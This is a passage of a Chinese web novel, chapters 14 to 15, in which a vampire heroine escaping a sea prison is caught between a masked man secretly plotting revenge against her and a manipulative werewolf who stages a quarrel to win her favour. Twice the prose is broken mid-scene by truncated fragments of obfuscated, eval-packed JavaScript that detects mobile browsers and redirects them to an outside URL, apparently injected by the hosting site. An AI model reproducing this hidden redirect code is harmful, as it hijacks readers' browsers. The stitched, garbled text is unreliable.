“泡泡倒是没问题……”莲沉默片刻,缓缓道:“但监狱附近的海面都被无人机包围了,它们的扫描都带热量检测,你一浮上去就会被发现。” “小意思。”原叶伸展了下手臂,唰地变成蝙蝠形态,“来,给我个泡泡,我上去看看外面什么情况。” 原叶拍击着翅膀浮空,等着莲给她套上泡泡,却看见明显愣住的莲和一脸震惊的卢卡斯。 “怎么了?”原叶飞在空中,薄膜翅爪上附着灰色绒毛泛着细腻的微光,“这样体型够小了吧?而且我没有体温,到海面上也不会被发现的,我上去之后看看哪里安全,再回来告诉你们。” 半晌,莲和卢卡斯同时开口:“你能变成蝙蝠?”、“好可爱……” “对啊,”原叶灵活地落在卢卡斯头上,踩住帽檐抖了抖毛,“这有什么稀奇的,血族都能变身成蝙蝠。” “就是……没想到会这么小。”莲似乎在憋笑,声音有些断续,“肚子真圆,像只长翅膀的仓鼠,噗,哈哈哈哈哈。” 好像不准备再忍住似的,莲拍着大腿哈哈大笑起来,后半句话像憋不住窜出来的稀一样难听。 原叶勃然大怒:“说话注意点!这可是我特意维持的大小,隐蔽性很好的!” 她蓦地暴起,一翅膀闪电般地扇在莲的脑袋上,莲躲避不及,头顶重重挨了一下,一看便是精心抓过的发型被刮得乱七八糟。 “好快!”卢卡斯眼睛里几乎要冒出星星,“好厉害!” “那当然,”原叶骄傲地拍拍翅膀,落回帽檐上,“总算有个有眼光的。” 原叶夹起翅膀望向莲,他已经不笑了。 莲沉默地整理好头发,慢慢抬起头,漆黑的面具仿佛吸走了海底本就昏暗的微光,冷白的手臂是青筋凸起,几缕散落的黑发幽幽拂在颈侧,阴测测的目光透过面具,犹如绳网般缠绕过来。 好家伙,不就是被打了下头,至于这么生气吗?变脸跟翻书似的…… 原叶被他盯得打了个寒噤,莫名觉得莲这股鬼气森森的劲儿好像在哪里见过。 不等她回忆起究竟是哪里,莲抬手一指,透明的泡泡瞬间在原叶眼前面前合拢,将她连爪带翅膀严丝合缝地包了进去。 泡泡轻盈又透亮,原叶下意识用爪尖捅了捅内壁,锋利的尖爪被泡泡柔韧地包裹,泡泡被戳成尖嘴鱼一样,却没有破裂。原叶又试着扇动翅膀控制方向,泡泡也随着她的动作移动。 “快去吧。”莲忽然笑起来,声音清朗愉快,“我们在这里等你。” “哦、哦,好。”原叶下意识应道。 “一路顺风,早点回来。”莲身形舒展,姿态自如,正愉悦地朝她挥手。舒展得体的样子,仿佛刚才厉鬼般的阴森只是一场幻觉,叫原叶蓦地从爪尖窜起一股凉意。 坏了,碰上腹黑的小心眼了。 原叶冷汗淋漓,有种自己的名字会在今天稍后时候被一笔一画恶狠狠写进死亡笔记里画圈诅咒的恶寒。脑子里的弦一下崩起来,刚对莲升起的一点亲近感随着他一下一下摆动的手被挥得七零八落。 她迅速振翅跃出装着三人的大泡泡,钻入外面的海水,飞快向海面的方向游动。 小泡泡移动起来十分轻快,原叶一面往上游,一面又能清晰地感觉到莲的视线死死黏在背后,宛如幽暗沼泽中潜伏捕食的巨蟒,令她脊背发凉。 直到绕开巨型珊瑚丛,再看不到大泡泡的踪影,那股令人毛发倒竖的黏冷感才消失。 14. 第 14 章 阴暗冰冷的海底,一枚圆滚滚的泡泡顺着海流幽幽浮动。 泡泡里,一只蜷成团的灰色蝙蝠正缓缓自转。 果然还是应该相信直觉的! 原叶抱着翅膀,悔恨地旋转。 当初无名钟所第一次见的莲的时候她明明还犯了潮人恐惧症的!怎么后面看他好说话就放松警惕了呢! 脱离了那个装着三个人的大泡泡,进入幽深寂静的海水,人生中第一次劫狱带来的肾上腺素也逐渐消退,理智再次回归。 念及刚才的事,想起莲那与阳光爽朗的语气截然相反的阴冷目光,看着扇了莲的那只爪子,原叶恨不得抽自己一巴掌。 原叶啊原叶,你怎么总是疏忽大意呢! 现在好了,得罪了翻脸如翻书的小心眼,关键以后还得跟他合作,这可怎么办! 原叶噼里啪啦地扑腾着翅膀,焦躁地在泡泡里来回撞击。 直到泡泡失控地飘向修长缠绕的海草,柔软的海草藤蔓一般裹上,她才后知后觉地看向周围。 悠悠晃动的漆黑海草…… 有点像莲被她打乱的头发。 一想到莲刚才瞬间阴沉的感觉,原叶顿觉烦闷,操作泡泡飘离,慢慢往海面上游。 她和莲同为非人的异族,虽然不知道莲的种族,也不知道他活了多久,但她自己活了一百多年下来,除了死亡,没有真正意义上的怕过什么。 可是如今,她却在面对莲时总是不自觉地松懈,好像潜意识里总觉得他能信任似的,这种感觉让她感到恐惧。 不该这样的,她不该对一个只见过两面、其中第一次见面还一下子就很没礼貌地抱过来的异性感到信任。 而且不知怎么回事,明明和莲才刚刚认识,可面对莲时,她却总有一种模模糊糊的罪恶感,好像她曾经做过什么让他很困扰的事一样。 更糟糕的是,莲有意无意的肢体接触和身上隐约的清冽温暖的血香迷惑了她的判断、模糊了她的边界感,再加上莲身上有一种好像对他做什么都可以的诡异的纵容感,直接导致她无意间在他面前暴露了真实的性格好恶,还肆无忌惮地打了他的头。 太失败了,太失败了,怎么能做出这种事情? 好丢脸啊。 原叶越想越气,既气自己松懈自大的举止,也气莲有意无意的纵容。她愤怒地裹着泡泡撞烂一条睡着的鱼,从鱼尸的血洞中幽幽穿过。 盯着在海水中氤氲开来的污血,原叶脑海中飞快地闪过模糊的想法。 她一向独来独往,早年的遭遇与后天漂泊不定危机四伏的生活让她不仅没有交朋友的机会,也没有与他人建立长期联系的途径。 除了捕猎以外,她从没有像这次与莲合作营救卢卡斯的任务这样,和同类或者说异性有过这次这么长时间的接触,因此也没有办法很好地把握正常的社交距离和分寸。 只怪一直以来以捕猎为目的遇到的男人都是目的性很明显的蠢货,她不需要思考正常该如何与他们社交,只要顺着这群浅薄的家伙对女人的心理预期去表现,几句话就能把他们骗到没人的地方下手。 除了捕猎时凭本能运用的诱捕话术之外,她不知道如何与人深层次、长时间的对话,也不知道该如何把握正常的社交距离。 原叶的大脑迅速运作,模糊的想法逐渐凝实,终于找到自己的版本漏洞。 对了,是经验的问题! 她虽然活了很久,但是和人正经接触的经验很少,所以一旦遇到社交上拥有更高段位的人,便很容易因经验不足而暴露弱点,在不知不觉中被人操控。 莲那游刃有余的样子,显然是个中高手。 可恶啊!莲你究竟是何居心!是故意想看我笑话吗! 原叶咬牙切齿地往海面上飞,愤怒的翅膀在泡泡里拍出残影。 她现在已经懂了,莲就像是表面覆盖着青翠欲滴的漂亮植被的沼泽,如果被表面上的美丽自然吸引,不自觉走上去,就会直接被拉进下方深不见底的泥沼,尸骨无踪。 她必须转换策略,必须提起十二分的注意。 既然她在这方面薄弱,那她就抓住机会多观察多互动多学习。莲就是现成的活教材,下一次接触中,她一定能有所进步。 哼,你等着。 原叶眯起眼睛,慢慢磨着后槽牙。 …… 雅彦心情不佳。 原叶离开后,珊瑚下的泡泡里就只剩他和卢卡斯两人。 卢卡斯眉眼间不安和温驯的神情在原叶游过珊瑚丛后便消失了,他抬手摘下棒球帽,修长的手指将浓密的银白色头发向脑后梳去,露出清冽的五官,面色近乎淡漠。 身子径直后仰,一条腿曲着支在身前,另一条腿伸直,坐姿颇为放佚。 雅彦不由蹙眉,不动声色道:“你没事了?” 卢卡斯瞥了他一眼,冷淡地扬起下巴。 看清卢卡斯眼底毫不掩饰地厌恶与敌意,雅彦忍不住笑了一声,“不装了是吧。” “装什么?”卢卡斯眨眼,琥珀色的瞳眸微弯,显出点顽劣的恶意。 雅彦冷笑一声,在卢卡斯斜对面坐下,长腿一伸,靴底几乎擦着卢卡斯的尾巴过去。 他无意与卢卡斯为友,反正他“莲”的身份是伪造的,这次按伊洛缇娅的要求把卢卡斯救出来之后,大概率再也不会以这个身份与他见面。 盯着卢卡斯不悦的眼神,雅彦也不再顾忌什么,他懒得再和他兜圈子,直接开口嘲讽:“刚才她在这里的时候,你像条狗一样巴着她,她一走,您就摇身一变,成了高贵的人了?” 他这一番话毫不掩饰恶意,卢卡斯却没像他想的一样暴跳如雷。 相反,他那对碍眼的狼耳在头上抖了抖,尾尖也悠哉悠哉地轻摇着,唇角勾起隐约的弧度。 “你喜欢她?”卢卡斯抱着手臂,似笑非笑。 雅彦顿感不适,“你在说什么。” “或许你以为自己很隐蔽,戴着面具藏着你的脸,但生理反应是藏不住的。”卢卡斯慢条斯理笑着,琥珀色的眼睛闪过揶揄,“你那种眼神……或者说气场、你散发出的情绪、气味……” 雅彦的面色一点点沉下去,卢卡斯唇角的笑容却越来越大。 “不要小看我们狼人的嗅觉和第六感,她一靠近我,你就用杀人一样的眼神看我,你身上的气味也充满愤怒……啊,是的,就像现在这样……真是可怕啊,你看得我毛发倒竖呢。” “闭嘴。”胸腔内怒意翻涌,雅彦恶狠狠地打断他,“再说一个字,我就把你扔出去喂鱼。” “不,你不会的。”卢卡斯笑得笃定,“你的任务是救我出来,护送我回无名钟所,和会长交差,对吗?” 雅彦默不作声。 会长特意叮嘱过他务必将卢卡斯全须全尾地护送回去,为此还给了他最高阶的治愈药剂。 现在治愈药剂用完了,他的确不能对卢卡斯做什么,只能口头威胁,卢卡斯那样敏锐,立即便点破了他虚张声势,踩住了他的软肋。 “被我说中了,对吗?”见他不说话,卢卡斯笑眯眯地又补一刀,随即便像有些困惑似地微微歪着头,“我很好奇,你为什么不肯承认呢?这又不是什么见不得人的事。” “承认什么?”雅彦蹙眉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334225|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卢卡斯一瞬不瞬地盯着他:“承认你喜欢她。” “不可能!”雅彦脱口而出。 不假思索地回答之后,一股难以压制的怒火混着被冒犯的耻辱如浪潮般涌上,冲得他头都烧了起来。 这只该死的狗在怪叫什么! 被人打多了,神经错乱,在这里胡言乱语! 他怎么可能喜欢一个跟踪狂?! “你想说你不喜欢她?哥们儿,骗骗我可以,别把自己骗了。”卢卡斯轻笑出声,“这种事对我们来说是很珍贵少有的,承认没什么丢脸的。” 不等雅彦作出反应,卢卡斯便凝着他,一字一顿:“我可以明确告诉你,我喜欢她,我要追她。” 雅彦死死咬着牙,“不行。” “为什么?这是我的自由,既然你说你不喜欢,你们又没在一起,我凭什么不能追她?”卢卡斯反唇相讥。“就算你们在一起,我也没什么不能追,只要她喜欢。” 随后他像是想到了什么,忽然勾唇笑起来:“也是,她好像对你没那个意思,难怪你是这种反应。” 雅彦脑子里嗡嗡响,头晕目眩地从牙缝中挤出两个字:“……住嘴。” 卢卡斯却置若罔闻,他眼神微微放空,显然在回忆着什么。 “我的心从来没有跳得那么快……啊,原叶……从天而降,把我从痛苦中解救出来,满眼都是真心实意的担忧……光投射在她身上,她就像天使一样闪闪发亮,那样纯洁、美好,那样赤诚……” 说着说着,卢卡斯胸腹起伏越发明显,面上晕开红晕,瞳孔微微扩大,沉醉似的呢喃:“还有她那双眼睛……分明是燃火的血红宝石……光是被她看着,我的心脏就像是被灼烧一样,全身都忍不住颤抖……” 雅彦胃部一阵痉挛,卢卡斯每说一句肉麻的话,他的胃就抽搐一次,涨得他两眼发晕。 强压下翻涌的恶心感,雅彦正准备回以讥讽,脑内一直模模糊糊的什么突然像是被一道利剑劈开,他猝然一怔。 他这是在争什么? 用“莲”这个身份接近原叶,引诱她,让她喜欢上“莲”,不正是他计划里的一部分吗? 那么现在卢卡斯觉得他——也就是“莲”喜欢原叶,不是正好吗? 没错,正好,而且这样更有说服力。 这样一想,雅彦如释重负,不由长长呼出一口气。 这样是对的。 喜欢原叶的莲一定会与情敌卢卡斯产生冲突。 这就是莲的人设。 这对他的目的有利。 似乎感觉到他的放松,卢卡斯微微眯起眼,“想通了?” 雅彦已然冷静下来:“你说的不错,我是喜欢她。” 对于“莲”突如其来的坦诚,卢卡斯似乎一点都不意外,“嗯,早点承认不就好了,没有男人会不喜欢她。” 雅彦心里隐约冒出些许焦躁,下意识问道:“你想怎么样?” “不用担心我,我不会告诉她的。毕竟你救了我,也是我的恩人之一。”卢卡斯银白的眼睫如羽毛般轻颤,“我们……公平竞争。” “公平竞争?”雅彦冷笑一声,“我认识她在先。” “那又怎么了?她对你又没有意思,对我还更喜欢些。”卢卡斯炫耀似的晃着尾巴,毛茸茸的狼耳灵活地竖起,“你刚才不也看到了?” “她没有。”雅彦不自觉提高了声音,“她只是喜欢带毛的东西,换一只长毛的□□来她也会喜欢。” “哦?”卢卡斯唇部扬起淡漠的弧度,狼耳紧贴发丝向后压下,琥珀色的眼睛里满是挑衅,“那我们走着瞧。” 15. 第 15 章 夜风呼啸着掀过海面,数架警备无人机在低空盘旋,离岛监狱的大桥两侧亮着密密麻麻的灯光,逐渐延伸至远处的海岸。 昏沉的海面缓缓浮起一个不起眼的小泡,一只探头探脑的蝙蝠借助起伏的浪波小心地隐藏着身型,观察着周围。 确认各处无人机与船舶的位置后,原叶在脑内演练了一遍安全路线,扎回海底给莲和卢卡斯报信。 大泡泡还在珊瑚丛深处,原叶撞进泡泡里,轻盈地落在卢卡斯旁边。 “我回来了,”原叶拍拍翅膀,“没等太久吧?” 无人回应。 莲和卢卡斯各自坐在泡泡的一侧,莲偏着头,手里有一搭没一搭地转着蝴蝶刀,卢卡斯垂着耳朵,握着她的棒球帽,眼底暗含水光。 原叶眉间一跳,嗅到棘手的气息。 这俩人,不会吵架了吧。 “嗨呀,上边被围得水泄不通,近海是没法走了。”原叶故作轻松地歪着身子抖毛,“不过呢,我找到一条安全路线,咱们可以从崖边上岸。” 无人应答。 莲微扬着下颌,偏头不知道在看哪里。 卢卡斯眼尾泛红,微抿着唇,狼耳有气无力地耷拉着。 原叶忍了又忍,还是没忍住:“有人理我一下吗?你们俩怎么了?” 卢卡斯仰起脸,狭长微翘的眼尾水光盈盈,“……对不起,我不是故意不理你,是……”他很轻微的哽咽了一下,“是莲不让我和你说话。” “啊?”原叶一愣。 “你说什么!?”雅彦猛地扭过头来,语气饱含着不可置信。他没想到卢卡斯张口就来,直接给他扣了屎盆子,“我什么时候说过这话?” 卢卡斯瑟缩了一下,绒绒的尾巴颤抖着圈住原叶,仿佛终于找到撑腰靠山的幼犬,急切地诉说:“刚刚你一走,莲就变了一幅模样,说、说让我看清自己几斤几两,别在这里装可怜……还说如果我再和你说话,他就要我好看……” “啊?!”原叶傻眼了,这都哪跟哪啊? 这还是刚才那个海底的大泡泡吗? 本来她还觉得刚才对莲做了失礼的事,估计被他记恨上了,内心深处既尴尬又愤懑,回来的路上还特意磨蹭了一会儿,想着要提防下莲,回了泡泡得看情况和他道个歉,却没想到刚回来就撞上莲和卢卡斯闹了不愉快。 而且……原叶回忆着卢卡斯的话,觉得莲实在荒谬。 什么叫让卢卡斯看清斤两?凭什么不让卢卡斯和她说话? 雅彦觉得卢卡斯实在荒谬。 刚才他们虽然说好“公平竞争”,但随即便相看两厌,索性谁也不再言语,只干等着原叶回来,没想到原叶刚回来,卢卡斯便突然发难。 这就是他口中的公平吗? 雅彦气得要笑出来。 好啊,既然他不仁,那他也不客气了。 “胡说八道!我没有说过。”雅彦霍地站起身,面向卢卡斯。 “可是……你刚才明明说了……” 卢卡斯轻声细语,每个字却都毒虫叮在指关节般叫他疼痒:“既然说得出口,为什么不承认呢……” 没想到卢卡斯睁着眼说瞎话,一开口就是造谣,模样还委屈至极,雅彦头脑一阵眩晕。 原来是这么个让他“走着瞧”! 他努力压制着情绪,定定地回望,却见卢卡斯仗着此时原叶的角度看不见他的脸,身体装作害怕似地瑟缩着,一双琥珀色的眼睛狡狐般半眯着,凝着他的目光写满挑衅。 再看被他以狼尾圈住的原叶,那小小的灰色蝙蝠一脸懵懂地淹没在雪白的绒毛里,虽看不清表情,但黑亮的双瞳写满狐疑,十分警惕地望向自己,显然已经对卢卡斯的话信了七七八八。 雅彦心里顿时涌起一阵愤懑委屈。 他不理解为什么原叶会如此偏心初次见面的卢卡斯,以至于卢卡斯说什么她信什么。 难道他这一路作为同伴展示出的素养还不值得信任吗? 至少“莲”才是她先认识的人啊? 凝视着一脸得意的卢卡斯,他心中的怒火再难压抑,真情脱口而出:“贱狗,你少耍花招!” “贱狗”。 这两字如同清晨的闹钟,一下把原叶惊醒,她浑身一震,奋力从卢卡斯紧紧圈住她的毛绒尾巴里钻出,迅速变回人形,厉声质问道:“你怎么能骂卢卡斯是贱狗?!和卢卡斯道歉!” 莲却一反常态,态度十分坚决:“不可能。” 原叶不可置信地盯着莲。 她原以为莲虽然又腹黑又小心眼,但好歹是个体面人,她还对打了他的头一事心怀一点点歉意。 没想到莲竟然会当面对素昧平生的卢卡斯说出如此侮辱性的话语,还拒绝道歉。 有病吧? 原叶心中对莲的那点隐秘的歉意已经被他贱狗那两个字砸得烟消云散,被竭力压抑起来的不满再次冒出水面。 她紧皱眉头,反问莲:“为什么?你不觉得你的话很过分吗?” 莲冷哼一声,“这个词用在他身上正好。” “你!”原叶被莲理直气壮的模样噎到,正想再辩,衣服忽然被拽住。 卢卡斯轻轻拽了拽她的衣角,“我没关系的……你们不要吵架……” 原叶回过神来,便望进卢卡斯澄澈的双眼,他满脸歉意,显然内疚至极,嘴唇抿着,小心翼翼地说:“莲也不是故意的,他可能只是一时口不择言,我没事的……” 原叶张了张嘴,一想到卢卡斯被莲羞辱却没计较、反而依然想着维护和睦替他说话,她心头火更盛,压下情绪,安抚式地拍拍卢卡斯的手,“你不用担心。” 她又转向莲,“你不道歉是吧。行,真没想到你是这种人!” 莲露在面具外的脖颈血管鼓胀,声气冰冷:“我是哪种人?别忘了我还给你带了血!” 原叶当然记得,她对莲的好感度也有一大部分来自他能给她弄来那极品血液,但一码归一码,此时她只觉得莲不可理喻,回来前想的要提防莲、要对他好一点、从他身上学点社交本事的念头早被抛到九霄云外。 “是,你是给我带了血,”原叶越想越气,一连串心里话连珠炮似的蹦出来,“但是,那不是你辱骂别人的借口!而且你凭什么不让卢卡斯跟我说话?你觉得你很了不起吗?看我不顺眼就想孤立我是吧?亏我还以为你是个好人!” 原叶心里恼火,说到底,她这次去无名钟所,最初的目的是想找伊洛缇娅寻求帮助,但见到伊洛缇娅、又见到莲、现在又救出了卢卡斯,她心里其实早就升起暗暗的期待。 她从来没有这么快认识这么多异族伙伴,还期待终于能够体验交朋友的感觉,毕竟她太久没有过正常的社交,也没有交朋友的机会和条件。 现在一下冒出两个潜在朋友,还都是不用隐藏自己血族身份的、与自己站在同一边的异族,她心里对友情的期待和即将实现期待的雀跃都涌了上来。 更不用说这两个潜在朋友一个能给她找来极品美味的血,另一个有着她最喜欢的毛绒绒耳朵和尾巴。 还有比这更好的事吗? 她没想到,正在她心红的时候,潜在朋友一号莲却给了她当头两棒:他不仅像沼泽里潜伏的毒蛇一样用危险的眼神看她,展现出完全超乎意料的超绝阴暗面,让她意识到自己社交经验不足,还肆无忌惮地用恶毒的语言伤害了另一个无辜脆弱、正明显需要安慰的潜在朋友二号——可怜的卢卡斯。 莲用实际行动破坏了她隐藏在内心深处的美好期盼。 看她不顺眼、想孤立她? 雅彦愕然。 他的确看原叶不顺眼,否则也不能大费周章地制定复仇计划,又伪装出一个莫须有的身份来接近她。 但什么叫要孤立她? 他忍不住仔细端详原叶,见原叶义正严辞,眼神愤慨,心中疑惑更甚。 不是,原叶从他和卢卡斯的表现里读出的竟然是这种意思吗? 她以为这是什么?小学生风起云涌的过家家吗? 雅彦顿时有种对牛弹琴的感觉,一股憋闷的情绪噎得他哑口无言。 他再次凝向原叶,想从她的表情中找出哪怕一丝也好的假装或者装傻的痕迹。 然而原叶双目清明、目光直白、愤怒得很坦荡,显然是真以为他想使坏,阻止她交朋友,将她从人际关系中孤立。 不是…… 雅彦不可思议地看着原叶。 她之前在中心商区的俱乐部里搭讪男人的时候不是很熟练吗?也不像是不通七情六欲的样子,怎么会在现在轴得像个小学生?怎么连这么明显的东西都看不出来? “你觉得我是在孤立你?”雅彦开口,声音有些干涩。 “不然呢?你以为我看不出来?”原叶义愤填膺。 她瞪着莲,见他饱满的胸膛一起一伏地,立即联想到第一次见面莲就抱过来的事。当时以为他是热情,现在看来分明是没把她看在眼里,后面一起出任务更是一直问她隐私问题,又展示高超的异能,明显是想在关系中处在高位。 原叶越想越觉得头脑清明,先前曾想着多一个朋友多条路,现在心已经凉了半截,想和莲交朋友的心思也散了个七七八八。 有些人注定无法成为朋友。 你想和他平等相处,他却想骑在你头上。 如此一想,她干脆直接把话挑明:“你是觉得现在血族就剩我一个了,觉得我好欺负,对不对?别以为你能弄来极品好血就能把我发展成对你言听计从的小弟,我告诉你,和谁说话是我的自由,你管不着,你也不配管,别太把自己当回事!没了你那点血,老娘照样活得好好的!” “……” 雅彦哑口无言。 直到现在,他这才意识到自己竟然完全看不懂原叶,对牛弹琴起码知道那是个牛,原叶却好像一时一分就变换一副面孔,压根摸不清她的脾性,仿佛面对一个不可名状的马赛克。 原叶笃定了他是想操纵她的人际关系,这点细究下来,他的确存了这份心思。 他不想她和卢卡斯走得太近。 因为……那对他的计划不利。 更何况他根本没对卢卡斯说过那些话,都是卢卡斯捏造是非。 可是原叶相信了。 她竟然相信了! 雅彦眼前一阵阵发黑。 原叶无疑是敏锐的,但她也是武断的。 她敏锐地察觉到他存着想操纵她的心思,于是武断地划出一条分界线,将她和卢卡斯划在线里,将他排除在线外。 看着站在卢卡斯身前,明显有护着他的动作的原叶,雅彦嗓子眼里好像堵了一块湿棉花,想咽咽不下去,心里没来由地一阵难受,忽然有种深深的无力感。 算了,就让她这么想去吧。 看她这幅迟钝的德行,估计是真把卢卡斯当朋友了,搞不好根本没意识到那个放荡的贱狗是公的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17339055|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是,他不能让她对“莲”的印象恶化下去,否则他的计划便没有下一步了。 她跟他生气,大概也是因为之前对他印象不错,结果现在却发现他的表现和她的预期不相符,一时印象崩塌难以接受所致——否则她不至于这么生气。 她说还以为他是个好人,就说明之前他给她留下的印象不算坏,只是现在经由卢卡斯挑拨,忽然急转直下了而已。 她如此激动地与他争论,就说明还对他的人品心存希望。 他还有机会。 雅彦深吸一口气,打算先过了眼下原叶这关。 至于卢卡斯故意给他挖坑挑拨离间的事,他再找机会慢慢报复回去。 “我没有不让卢卡斯和你说话,”雅彦平静下来,干脆地认下了卢卡斯给他扣的黑锅,“但你说的对,我确实不该那样说他,无论如何,我不该说出那样伤人的话。” “对不起。”雅彦听见自己这样说。 他朝着卢卡斯的方向深深低头,又在原叶惊诧的目光中抬起头,郑重转向她,语气恳切。 “刚刚是我不对,我不该那样自以为是,也不该想要影响你和卢卡斯的关系。” 他将声气放得轻软柔和,“我鬼迷心窍了,让你生气了,我很抱歉。作为赔礼,也作为我希望与你和好的诚意,今后我会免费给你提供你喜欢的血。” 说完,雅彦朝原叶深鞠一躬:“对不起,希望你愿意原谅我。” 原叶愣在当场。 莲这一躬是她始料未及的,他的动作很诚恳,结实的背肌随着他躬身的动作微微隆起,后脑漆黑的发丝温驯地垂落,她只需一抬手便能握住。 “你……”原叶半信半疑地后退一步,“真心的吗?” 莲纹丝未动,依旧躬着身子,黑发向两侧滑开,干净的后颈微微泛着瓷白光泽,仿佛引颈受戮的天鹅:“我是真心的,真的很抱歉,请原谅我。” 原叶有点不敢相信,刚才还那么生气的莲,现在就低头认错了? 而且他刚刚说什么? 会免费给她提供那种极品美味血? 她还记得之前在线上和莲谈价格的时候,他一袋血开价近千元,这价格实在让她肉疼,但为了那口味道也咬牙应下了,现在他竟然愿意免费给她吗? 原叶心里把莲从预备朋友一号的位置划掉的那条删除线很不争气地开始变浅、松动。 “……真的吗?”她忍不住问,“真的免费给我?限不限次数?” “不限,永久免费。”莲轻声细语,“你要多少都行。” 能一直喝到极品美味血……还是免费不限量…… 早先觉着莲是个阴险小人的想法顿时被抛到九霄云外,原叶只觉得他左边面具写着“长期”,右边写着“饭票”,中间印着“极品美味”。这八个字组合在一起,怎么看怎么顺眼,怎么看怎么舒心。 莲原来是这么好的人!她真是走眼了! 原叶下意识舔了舔唇,舌尖仿佛又尝到那血甘美无比的滋味,加上前面说的不少话,越发口干舌燥。 和好,应该是要握手来着? “好,你说到要做到。”原叶双手扶住莲的肩膀,微微用力,让他直起身来。 莲顺从地直起身,定定地看着她,“说到做到。” “好,我原谅你。”原叶朝他伸出手,“握手。” 莲似乎愣了一下,周身散出柔和的气场,伸手轻轻握住她,手掌温暖干燥,一如他清朗的声线:“谢谢你。” 原叶莫名有些脸热,握了一下便松开莲,随即想起卢卡斯还没表态,连忙低头问他:“卢卡斯,莲道歉了,你愿意原谅他吗?你们也握个手吧?” 面具后,雅彦失笑。 简直就是小学生过家家。 他凝着卢卡斯,等他反应。 卢卡斯果然听原叶的话,顺从地站起身来,高大的身材挡住泡泡内的光源,投下的灰纱般的阴影。 不知他是有意还是无意,那阴影正正好笼在原叶身上,将她包裹其中。 雅彦眯起眼沉默着上前两步,影随身动,不动声色地盖过卢卡斯的影子,覆在原叶身上。 直到与卢卡斯正面相对,雅彦才发现卢卡斯虽然一副矫揉造作的小人做派,但毕竟是狼人族,身材高大挺拔,肩宽腿长,站在一起甚至比他还高出两三厘米。 意识到这一点,雅彦顿时心生不快,同样,他也在卢卡斯眼里看到得逞的快意。 他微微偏头,余光看着原叶,她对他们之间暗流一无所知,正眼睛澄亮地看着他们,等着他们握手言和。 卢卡斯朝他伸出手。 雅彦垂在身侧的指尖轻微痉挛一瞬,他缓慢抬腕,也伸出手。 两只骨节分明的大手握在一起。 “对不起。”雅彦强压着胃里翻涌的恶心感,挤出真诚恳切的声音。 “没关系。”卢卡斯弯着眼睛,语气坦然。 看见莲与卢卡斯和好,原叶心里说不出的高兴,还有种莫名的成就感。 “莲,有件事我也要跟你道声歉。”原叶有些不好意思,“刚才我不应该故意刮乱你的发型,不好意思。” “没有关系,”莲轻笑,“是我先前措辞不当,让你生气了,你打我是应该的。” “……噢、噢。”原叶又莫名觉得脸热起来,支支吾吾地别开头,转移话题:“那什么,咱们先上岸吧,我带路。” “好。”“麻烦你了。”